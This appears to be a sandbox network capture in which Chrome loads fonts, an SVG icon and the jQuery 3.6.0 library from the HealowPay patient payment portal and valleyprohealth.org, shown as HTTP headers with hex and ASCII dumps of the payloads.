'1Z`"7Se<iI(CkVf3G%Yu#O}c&D&xdQIPXJ9ih4+}J2$"O@R>2og6{,D@HVQEhcE9.*UmJw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49984	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	830	OUT	GET /HealowPay/jsp/js/assets/fonts/poppins-regular-normal-latin.woff2 HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.healowpay.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.healowpay.com/HealowPay/jsp/js/assets/css/custom.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:56 UTC	1387	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:56 GMT Content-Type: font/woff2 Content-Length: 7968 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"7968-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:56 UTC	7968	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 1f 20 00 0d 00 00 00 00 3e 9c 00 00 1e ca 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 20 1c 30 06 60 00 81 54 11 08 0a e4 68 d0 11 0b 83 36 00 01 36 02 24 03 86 68 04 20 05 84 24 07 84 0b 1b ad 31 a3 a2 ac d0 b6 8a a2 44 51 e2 ec 2f 0f 6c 22 30 7d 81 ab e0 c3 e2 35 ad 95 31 d4 88 8d d4 4d 66 5c 58 e6 e3 3c e1 07 21 d2 f4 19 43 cb e5 9f 8d 46 43 28 8b 8f 8e af 1f 5f 5a b3 d7 08 49 66 5b 1e e2 f7 07 fd 99 79 6f 89 46 21 9a 15 70 48 aa db 84 b4 19 fc df d9 11 be 47 39 cd 99 d5 9a 66 24 db 87 fc bb 02 fe 80 fc 2c d0 4a 6b 56 00 a5 72 c2 47 52 cb 76 df 84 e4 a4 04 b2 8f 75 05 e2 e1 69 6e ff 10 44 10 1b 10 84 96 c8 8d 45 12 db 6d bb dd 9a c5 6d 83 ed 06 8b 62 49 b4 08 88 36 6d 62 a2 a2 df ec df cc ce Data Ascii: wOF2 > 0`Th66$h $1DQ/l"0}51Mf\X<!CFC(_ZIf[yoF!pHG9f$,JkVrGRvuinDEmmbI6mb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49987	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	813	OUT	GET /HealowPay/jsp/js/assets/fonts/healow.ttf?qd9atp HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.healowpay.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.healowpay.com/HealowPay/jsp/js/assets/css/layout.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:57 UTC	1387	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:56 GMT Content-Type: font/ttf Content-Length: 66080 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"66080-1709723745000" Last-Modified: Wed, 06 Mar 2024 11:15:45 GMT Server:
2024-04-24 12:44:57 UTC	14997	IN	Data Raw: 00 01 00 00 00 0b 00 80 00 03 00 30 4f 53 2f 32 0f 12 06 ac 00 00 00 bc 00 00 00 60 63 6d 61 70 17 56 d2 e9 00 00 01 1c 00 00 00 54 67 61 73 70 00 00 00 10 00 00 01 70 00 00 00 08 67 6c 79 66 58 61 d9 96 00 00 01 78 00 00 fc 24 68 65 61 64 2e e3 09 15 00 00 fd 9c 00 00 00 36 68 68 65 61 0f a7 0c 96 00 00 fd d4 00 00 00 24 68 6d 74 78 a0 66 ff f8 00 00 fd f8 00 00 01 9c 6c 6f 63 61 76 52 b5 9c 00 00 ff 94 00 00 00 d0 6d 61 78 70 00 94 09 ab 00 01 00 64 00 00 00 20 6e 61 6d 65 06 ca 9d a8 00 01 00 84 00 00 01 7a 70 6f 73 74 00 03 00 00 00 01 02 00 00 00 00 20 00 03 04 20 01 90 00 05 00 00 02 99 02 cc 00 00 00 8f 02 99 02 cc 00 00 01 eb 00 33 01 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e9 Data Ascii: 0OS/2`cmapVTgasppglyfXax$head.6hhea$hmtxflocavRmaxpd namezpost 3@
2024-04-24 12:44:57 UTC	16384	IN	Data Raw: 01 05 2c 01 01 11 18 18 11 01 01 fe 94 03 07 03 01 0d 11 01 01 06 06 01 16 15 49 31 31 37 37 31 31 49 15 16 01 07 05 01 01 11 0d 03 06 03 0e 16 04 07 08 01 1c 1c 60 3f 40 49 49 3f 40 60 1c 1c 01 08 07 03 16 0e 01 02 c0 18 11 ae 11 19 19 11 ae 11 18 fe 42 18 11 11 18 18 11 11 18 18 11 11 18 18 11 11 18 01 3a 07 05 01 7a 06 0f 09 09 0f 06 05 07 07 05 7b 06 0f 09 09 0f 05 06 06 01 01 07 05 06 0f 09 09 0f 06 7b 05 07 07 05 06 0f 09 09 0f 06 7b 05 07 fd 83 18 11 11 19 19 11 11 18 e9 01 01 01 04 16 0e 03 07 02 11 26 14 01 01 37 31 30 48 15 15 15 15 47 31 30 37 01 14 27 13 02 03 06 03 0e 16 03 01 01 10 0c 01 16 33 1b 02 48 40 40 5e 1b 1c 1c 1b 5e 40 3f 49 01 02 1b 33 18 03 0d 11 00 02 ff fe ff c0 04 00 03 c0 00 44 00 71 00 00 05 30 22 31 22 27 2e 01 27 26 35 34 Data Ascii: ,I117711I`?@II?@`B:z{{{&710HG107'3H@@^^@?I3Dq0"1"'.'&54
2024-04-24 12:44:57 UTC	16384	IN	Data Raw: 01 2b 01 0e 01 07 23 0e 01 23 22 26 27 31 2e 01 23 31 22 06 07 37 0e 01 07 15 0e 01 15 1c 01 17 35 1e 01 17 27 1e 01 17 15 17 37 3e 01 35 38 01 39 01 35 27 2e 01 35 34 36 33 38 01 39 01 15 38 01 31 22 06 15 14 16 33 32 36 35 31 34 26 23 31 13 2f 01 2e 01 2f 01 07 0e 01 23 22 27 2e 01 27 26 35 38 01 39 01 35 33 15 38 01 31 14 16 33 32 36 37 31 37 27 2e 01 2f 01 2e 01 35 34 36 37 07 3e 01 37 33 3e 01 3b 01 38 01 31 32 16 17 31 17 37 3e 01 33 38 01 39 01 32 16 17 27 1e 01 1f 02 1e 01 15 14 06 07 35 06 07 0e 01 07 06 0f 01 27 17 1e 01 1f 01 37 36 37 3e 01 37 36 37 3e 01 35 34 26 27 17 27 2e 01 27 23 2e 01 2b 01 38 01 31 22 06 07 31 07 27 2e 01 23 38 01 23 33 22 06 07 33 0e 01 07 15 0e 01 15 14 16 17 27 1e 01 17 31 17 07 0e 01 23 22 26 35 38 01 39 01 35 23 15 Data Ascii: +##"&'1.#1"75'7>5895'.54638981"326514&#1/./#"'.'&5895381326717'./.5467>73>;81217>3892'5'767>767>54&''.'#.+81"1'.#8#3"3'1#"&5895#
2024-04-24 12:44:57 UTC	16384	IN	Data Raw: 31 34 26 27 2e 01 35 34 36 33 3a 01 17 31 1e 01 17 31 1e 01 15 31 38 01 31 14 06 07 31 27 22 06 15 14 16 17 31 1e 01 15 1e 01 33 32 36 35 31 34 26 27 15 2e 01 27 31 2a 01 39 01 07 22 26 27 31 2e 01 27 2e 01 35 34 36 33 3a 01 17 31 1e 01 17 15 1e 01 17 15 30 14 31 14 06 23 31 07 38 01 31 22 26 27 31 2e 01 27 2e 01 35 34 36 33 3a 01 17 31 1e 01 17 15 1e 01 17 15 1c 01 31 14 06 23 31 27 22 06 15 14 16 17 31 1e 01 31 1e 01 33 32 36 35 34 30 35 15 2e 01 27 15 2e 01 27 31 22 26 23 38 01 39 01 07 06 26 27 3c 01 35 31 26 36 37 15 3e 01 37 36 16 17 16 14 07 31 0e 01 17 15 14 06 07 31 17 38 01 31 06 26 27 34 26 35 31 26 36 37 07 3e 01 37 31 38 01 31 36 16 17 16 14 07 31 0e 01 17 15 16 06 07 31 35 38 01 31 0e 01 07 31 0e 01 17 15 1c 01 17 1e 01 37 3e 01 35 31 26 36 Data Ascii: 14&'.5463:111811'"1326514&'.'1*9"&'1.'.5463:101#181"&'1.'.5463:11#1'"113265405.'.'1"&#89&'<51&67>761181&'4&51&67>718161158117>51&6
2024-04-24 12:44:57 UTC	1931	IN	Data Raw: e0 0b 10 10 0b e0 0c 10 10 0c 70 0b 11 11 0b 70 0c 10 02 00 07 0e 06 02 06 03 03 06 02 02 03 02 02 0a 1a 0e 03 02 02 06 03 03 06 02 02 03 1b 23 28 16 07 0e 06 02 05 04 03 06 02 02 03 02 02 0b 19 0e 03 02 02 06 03 03 06 02 02 03 1b 23 28 55 11 0e 0c 13 3f 0c 13 11 1e 2e 28 28 3c 11 11 11 11 3c 28 28 2e 2e 28 28 3c 11 11 11 11 3c 28 28 2e 44 61 61 44 44 61 61 03 14 12 0c dd 03 08 05 ed 23 33 33 23 fd 88 23 32 08 1d 12 12 0c 02 78 0c 12 68 0c 10 76 0b 10 10 0b 1b 6f 43 38 08 08 08 18 08 5f 44 45 10 0b fe e7 0c 10 10 0c 0b 11 11 65 0c 10 10 0c 0b 11 11 17 31 01 07 05 02 03 02 02 02 06 03 03 06 02 0a 0c 02 01 03 06 02 02 03 03 02 02 06 03 01 04 1e 14 18 16 05 31 01 07 05 02 03 02 02 02 06 03 03 06 02 0a 0c 02 01 03 06 02 02 02 02 02 02 06 03 01 04 1e 14 18 16 Data Ascii: pp#(#(U?.((<<((..((<<((.DaaDDaa#33##2xhvoC8_DEe11

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	49986	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	831	OUT	GET /HealowPay/jsp/js/assets/fonts/poppins-semibold-normal-latin.woff2 HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.healowpay.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.healowpay.com/HealowPay/jsp/js/assets/css/custom.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:56 UTC	1387	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:56 GMT Content-Type: font/woff2 Content-Length: 7836 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"7836-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:56 UTC	7836	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 1e 9c 00 0d 00 00 00 00 3d c0 00 00 1e 48 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 20 1c 30 06 60 00 81 54 11 08 0a e3 14 ce 2b 0b 83 36 00 01 36 02 24 03 86 68 04 20 05 84 1c 07 84 0b 1b bf 30 b3 22 d8 38 00 a0 a0 c7 93 fd 57 07 e6 e1 f0 e2 a1 d3 d8 a9 59 ac 84 cb 99 3b b0 8a b0 c6 0b 9b b5 39 ff 59 c8 97 4e 1e 3b b3 23 3b 3f 20 17 aa 14 26 50 28 cc ff 2b 18 7f 06 32 23 23 24 99 e5 e1 cb 3f f0 cf de 7d 21 3a 88 95 a0 0a ae 20 97 49 9d 49 0b b5 29 2a fb b3 84 77 78 70 d7 3f eb b6 b9 43 42 63 ab 14 a9 ad 65 24 5a 64 a7 e5 44 89 cc 8c 5d 1c b7 d6 c4 ed 7f f7 e7 ba 31 17 55 74 f1 5f 64 f5 7e c0 03 b0 13 e1 37 f7 ed d7 66 8e b6 fb 68 2a 1a bf 64 a8 fd c4 0d d5 15 24 a2 66 2d 17 34 89 ed 28 70 80 Data Ascii: wOF2=H 0`T+66$h 0"8WY;9YN;#;? &P(+2##$?}!: II)wxp?CBce$ZdD]1Ut_d~7fhd$f-4(p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49988	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	782	OUT	GET /wp-content/uploads/2020/07/icon_contact.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:44:57 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: image/svg+xml Content-Length: 536 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:45 GMT Vary: Accept-Encoding ETag: "64f5a131-218" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:57 UTC	536	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 63 6c 61 73 73 3d 22 64 2d 62 6c 6f 63 6b 20 61 64 6a 75 73 74 61 62 6c 65 2d 65 6c 65 6d 65 6e 74 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 30 20 31 35 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 63 6f 6e 74 61 63 74 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 65 31 65 34 64 22 20 64 3d 22 4d 31 39 2e 30 32 31 37 20 30 2e 34 37 35 34 33 33 4c 30 2e 38 32 39 34 31 32 20 37 2e 30 34 39 36 38 43 30 2e 34 39 31 38 37 38 20 37 2e 31 37 32 34 32 20 30 2e 34 33 34 33 34 34 20 37 2e 36 32 35 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg class="d-block adjustable-element" viewBox="0 0 20 15" xmlns="http://www.w3.org/2000/svg"><title>Icon contact</title><path fill="#0e1e4d" d="M19.0217 0.475433L0.829412 7.04968C0.491878 7.17242 0.434344 7.6250

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	49989	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	764	OUT	GET /HealowPay/jsp/js/jquery-3.6.0.min.js HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:57 UTC	1417	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: text/javascript Content-Length: 89503 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"89503-1646033381000" Last-Modified: Mon, 28 Feb 2022 07:29:41 GMT vary: accept-encoding Server:
2024-04-24 12:44:57 UTC	14967	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQ
2024-04-24 12:44:57 UTC	16384	IN	Data Raw: 6e 67 74 68 29 26 26 28 65 5b 30 5d 3d 65 5b 30 5d 2e 73 6c 69 63 65 28 30 2c 74 29 2c 65 5b 32 5d 3d 6e 2e 73 6c 69 63 65 28 30 2c 74 29 29 2c 65 2e 73 6c 69 63 65 28 30 2c 33 29 29 7d 7d 2c 66 69 6c 74 65 72 3a 7b 54 41 47 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 2a 22 3d 3d 3d 65 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 6f 64 65 4e 61 6d 65 26 26 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 74 7d 7d 2c 43 4c 41 53 53 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6d 5b 65 2b 22 20 22 5d 3b Data Ascii: ngth)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];
2024-04-24 12:44:57 UTC	16384	IN	Data Raw: 57 69 74 68 28 72 2c 69 29 7d 7d 3b 69 66 28 6e 3c 3d 31 26 26 28 49 28 65 2c 6f 2e 64 6f 6e 65 28 61 28 74 29 29 2e 72 65 73 6f 6c 76 65 2c 6f 2e 72 65 6a 65 63 74 2c 21 6e 29 2c 22 70 65 6e 64 69 6e 67 22 3d 3d 3d 6f 2e 73 74 61 74 65 28 29 7c 7c 6d 28 69 5b 74 5d 26 26 69 5b 74 5d 2e 74 68 65 6e 29 29 29 72 65 74 75 72 6e 20 6f 2e 74 68 65 6e 28 29 3b 77 68 69 6c 65 28 74 2d 2d 29 49 28 69 5b 74 5d 2c 61 28 74 29 2c 6f 2e 72 65 6a 65 63 74 29 3b 72 65 74 75 72 6e 20 6f 2e 70 72 6f 6d 69 73 65 28 29 7d 7d 29 3b 76 61 72 20 57 3d 2f 5e 28 45 76 61 6c 7c 49 6e 74 65 72 6e 61 6c 7c 52 61 6e 67 65 7c 52 65 66 65 72 65 6e 63 65 7c 53 79 6e 74 61 78 7c 54 79 70 65 7c 55 52 49 29 45 72 72 6f 72 24 2f 3b 53 2e 44 65 66 65 72 72 65 64 2e 65 78 63 65 70 74 69 6f Data Ascii: With(r,i)}};if(n<=1&&(I(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()\|\|m(i[t]&&i[t].then)))return o.then();while(t--)I(i[t],a(t),o.reject);return o.promise()}});var W=/^(Eval\|Internal\|Range\|Reference\|Syntax\|Type\|URI)Error$/;S.Deferred.exceptio
2024-04-24 12:44:57 UTC	16384	IN	Data Raw: 2c 51 2e 73 65 74 28 74 2c 61 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 65 28 6e 2c 72 2c 69 2c 6f 29 7b 72 3d 67 28 72 29 3b 76 61 72 20 65 2c 74 2c 61 2c 73 2c 75 2c 6c 2c 63 3d 30 2c 66 3d 6e 2e 6c 65 6e 67 74 68 2c 70 3d 66 2d 31 2c 64 3d 72 5b 30 5d 2c 68 3d 6d 28 64 29 3b 69 66 28 68 7c 7c 31 3c 66 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 26 26 21 79 2e 63 68 65 63 6b 43 6c 6f 6e 65 26 26 41 65 2e 74 65 73 74 28 64 29 29 72 65 74 75 72 6e 20 6e 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6e 2e 65 71 28 65 29 3b 68 26 26 28 72 5b 30 5d 3d 64 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 74 2e 68 74 6d 6c 28 29 29 29 2c 48 65 28 74 2c 72 2c 69 2c 6f 29 7d 29 3b 69 66 28 66 26 26 28 74 3d 28 65 3d 78 65 28 72 2c Data Ascii: ,Q.set(t,a))}}function He(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h\|\|1<f&&"string"==typeof d&&!y.checkClone&&Ae.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),He(t,r,i,o)});if(f&&(t=(e=xe(r,
